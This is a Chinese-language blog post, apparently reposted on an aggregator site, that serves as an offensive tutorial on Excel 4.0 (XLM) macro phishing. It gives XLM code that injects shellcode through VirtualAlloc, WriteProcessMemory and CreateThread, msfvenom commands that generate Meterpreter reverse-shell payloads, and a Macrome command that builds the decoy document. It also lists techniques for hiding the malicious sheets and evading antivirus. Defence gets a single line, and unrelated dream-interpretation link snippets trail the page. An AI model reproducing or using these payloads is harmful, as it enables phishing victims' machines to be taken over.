新四季網

不能打開多個電子表格(關於不能亂打開陌生電子表格的原因)

2023-04-14 17:13:01 3

很多人說不打開帶有顏色的網址,做個正人君子就不怕中毒,那你就很傻很天真,這裡說一個關於EXCEL的攻擊技術XLM。

XLM釣魚不是一項新的技術,自從公開以後,網上有很多對其的分析文章,這裡僅僅做一個分享和摸索記錄。文章中有問題的地方還請指出。

一個簡單的例子新建一個Excel表格,右鍵選擇表,選擇插入

插入ms excel4.0宏表

隨後在單元格輸入以下內容,並將A1格內容改為Auto_Open,隨後隱藏這個表就好。

隨後保存為啟用宏的文檔。

當魚兒點開,選擇啟用宏時就會調用計算器,並彈窗

擴展及原理

通過Auto_Open可以讓宏表自動運行,通過隱藏宏表可以做到簡單的隱藏效果。

而在實戰環境中,我們更關注的是能否執行我們的shellcode。

Outflank研究發現,通過利用這些宏的REGISTER和CALL函數,可以調用 Win32 API,並可以將 shellcode 注入到正在運行的進程中。

REGISTER("kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)

REGISTER(module_name, procedure_name, type, Alias, argument, macro_type, category)

Module_name 是 DLL 的名稱,例如 c:\windows\system32\kernel32.dll 的「Kernel32」。Procedure_name 是 DLL 中導出函數的名稱,例如「VirtualAlloc」。Type 是一個字符串,指定函數的返回值和參數的類型。Alias 可以為函數指定的自定義名稱,稍後可以通過該名稱調用它。Argument 可用於命名函數的參數,它是可選的。Macro_type 應該是 1,代表函數。Category 是類別編號(用於古老的 Excel 功能)。我們可以為我們的目的指定一個 1 到 14 之間的任意類別編號

如果你想深入了解可以參考excel 4.0函數說明文檔

接下來我們構建一個可以執行我們自己shellcode的文檔,這裡有幾個要注意的點

一個是shellcode中不能存在空字節『\x00』

另外一個就是WPM每次調用最多只能寫入255 個字節

我們來看一下網上相關的利用代碼

=R1C2 //調用指定位置代碼=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64) //調用Kernel=SELECT(R1C2:R1000:C2,R1C2) //選擇shellcode列=SET.VALUE(R1C3, 0) //設置一個單元格=WHILE(LEN(ACTIVE.CELL)>0) =CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 R1C3 * 20,ACTIVE.CELL, LEN(ACTIVE.CELL), 0)=SET.VALUE(R1C3, R1C3 1)=SELECT(, "R[1]C")=NEXT //循環shellcode,調用RtilCopyMemory,循環往內存空間寫入,噹噹前shell代碼單元格的長度一旦將單元格寫入內存,計數器 1並進入下一循環=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0) //調用CreateThread創建線程=HALT //必須包含HALT或RETURN函數

這個時候可以使用工具生成我們自己的shellcode,並轉化即可。過程中會遇到EXCEL崩潰的情況,不過代碼執行並不受影響。

通過msf命令,我們可以快速生成不包含空字節的shellcode,通過SharpShooter工具可以幫助把shellcode轉化成可用的格式。當然網上也有很多腳本可以利用,可以自行搜索下。

使用工具先生成

生成後發現打開直接崩潰,不過沒有關係。我們可以手動對代碼進行調整

對於excel宏調用,我們可以觀察其代碼,發現其中的excel宏片段是寫死的,猜測崩潰原因就在此

無論怎樣生成,其中代碼都是不變的,所以就可能造成崩潰的問題。有閒工夫可以附加調試看看什麼情況,不過這不在本文章的範圍。

看了一些項目發現,其調用的地址都是動態生成的

https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

這種不帶混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread現在肯定是被殺的,所以還是需要自動化的生成工具。

自動化利用

github上有很多的開源的工具,這裡我使用Macrome

使用msf生成64位和32位不包含空字節的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin

msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin

使用工具執行,該命令會使用默認模板寫入並混淆。

Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin

當受害者點擊啟用宏就會上線。上線後如果關閉excel,那麼shell就會斷開。

另外使用64位監聽器去接收會引起excel的崩潰,因為測試環境是64位的,但是EXCEL安裝的是32位的。

32位監聽器正常上線

VT查殺率 21/59

網上工具自動生成還是存在查殺率較高的問題,如果想要做到免殺效果好的話,還是需要自己嘗試去編碼,開發開發工具。

bypass

因為XLM的構造特點,如Auto_Open、數量賊多的char函數等等,某些AV還不管三七二十一的給你誤報,所以bypass還是比較困難的。

現在這個釣魚方法已經工具化了,往往都集成了各種編碼,加密。這裡只介紹幾種從攻擊團夥的樣本中學到的一些姿勢。

1、圖片遮蓋

將宏代碼隱藏在圖片下,圖片可以是提示啟用宏的引導性內容

2、交互式消息彈窗

=IF(ALERT("此文檔與您的服務程序不兼容,是否還要繼續查看此文檔?",1),,CLOSE(TRUE))

代碼是順序執行的,所以該執行的也不受影響,通過交互式彈窗的方式讓魚兒放鬆警惕

3、下載在轉儲

從網上下載惡意代碼,存儲到某個位置。然後再調用執行

4、代碼隨意分布

將代碼拆分保存在各個分散的單元格中

5、更改字體顏色

修改字體顏色為白色

6、修改二進位文件

通過修改二進位文件的方式去隱藏宏表,這樣無法通過普通方式取消隱藏來獲取宏表

7、替代函數規避

通過可以用函數組合,或者通過日期函數獲取數字,通過算數運算傳入某些值

8、多個宏表

構建多個宏表,隱藏真正的惡意宏表,拖慢分析

9、惡意代碼隱藏到注釋

將shellcode內容加密防止注釋中再調用

防禦手段

1、禁用宏,對於宏文檔提高警惕性

,
同类文章
葬禮的夢想

葬禮的夢想

夢見葬禮,我得到了這個夢想,五個要素的五個要素,水火只好,主要名字在外面,職業生涯良好,一切都應該對待他人治療誠意,由於小,吉利的冬天夢想,秋天的夢是不吉利的
找到手機是什麼意思?

找到手機是什麼意思?

找到手機是什麼意思?五次選舉的五個要素是兩名士兵的跡象。與他溝通很好。這是非常財富,它擅長運作,職業是仙人的標誌。單身男人有這個夢想,主要生活可以有人幫忙
我不怎麼想?

我不怎麼想?

我做了什麼意味著看到米飯烹飪?我得到了這個夢想,五線的主要土壤,但是Tu Ke水是錢的跡象,職業生涯更加真誠。他真誠地誠實。這是豐富的,這是夏瑞的巨星
夢想你的意思是什麼?

夢想你的意思是什麼?

你是什​​麼意思夢想的夢想?夢想,主要木材的五個要素,水的跡象,主營業務,主營業務,案子應該抓住魅力,不能疏忽,春天夢想的吉利夢想夏天的夢想不幸。詢問學者夢想
拯救夢想

拯救夢想

拯救夢想什麼意思?你夢想著拯救人嗎?拯救人們的夢想有一個現實,也有夢想的主觀想像力,請參閱週宮官方網站拯救人民夢想的詳細解釋。夢想著敵人被拯救出來
2022愛方向和生日是在[質量個性]中

2022愛方向和生日是在[質量個性]中

[救生員]有人說,在出生88天之前,胎兒已經知道哪天的出生,如何有優質的個性,將走在什麼樣的愛情之旅,將與生活生活有什么生活。今天
夢想切割剪裁

夢想切割剪裁

夢想切割剪裁什麼意思?你夢想切你的手是好的嗎?夢想切割手工切割手有一個真正的影響和反應,也有夢想的主觀想像力。請參閱官方網站夢想的細節,以削減手
夢想著親人死了

夢想著親人死了

夢想著親人死了什麼意思?你夢想夢想你的親人死嗎?夢想有一個現實的影響和反應,還有夢想的主觀想像力,請參閱夢想世界夢想死亡的親屬的詳細解釋
夢想搶劫

夢想搶劫

夢想搶劫什麼意思?你夢想搶劫嗎?夢想著搶劫有一個現實的影響和反應,也有夢想的主觀想像力,請參閱週恭吉夢官方網站的詳細解釋。夢想搶劫
夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂什麼意思?你夢想缺乏異常藥物嗎?夢想缺乏現實世界的影響和現實,還有夢想的主觀想像,請看官方網站的夢想組織缺乏異常藥物。我覺得有些東西缺失了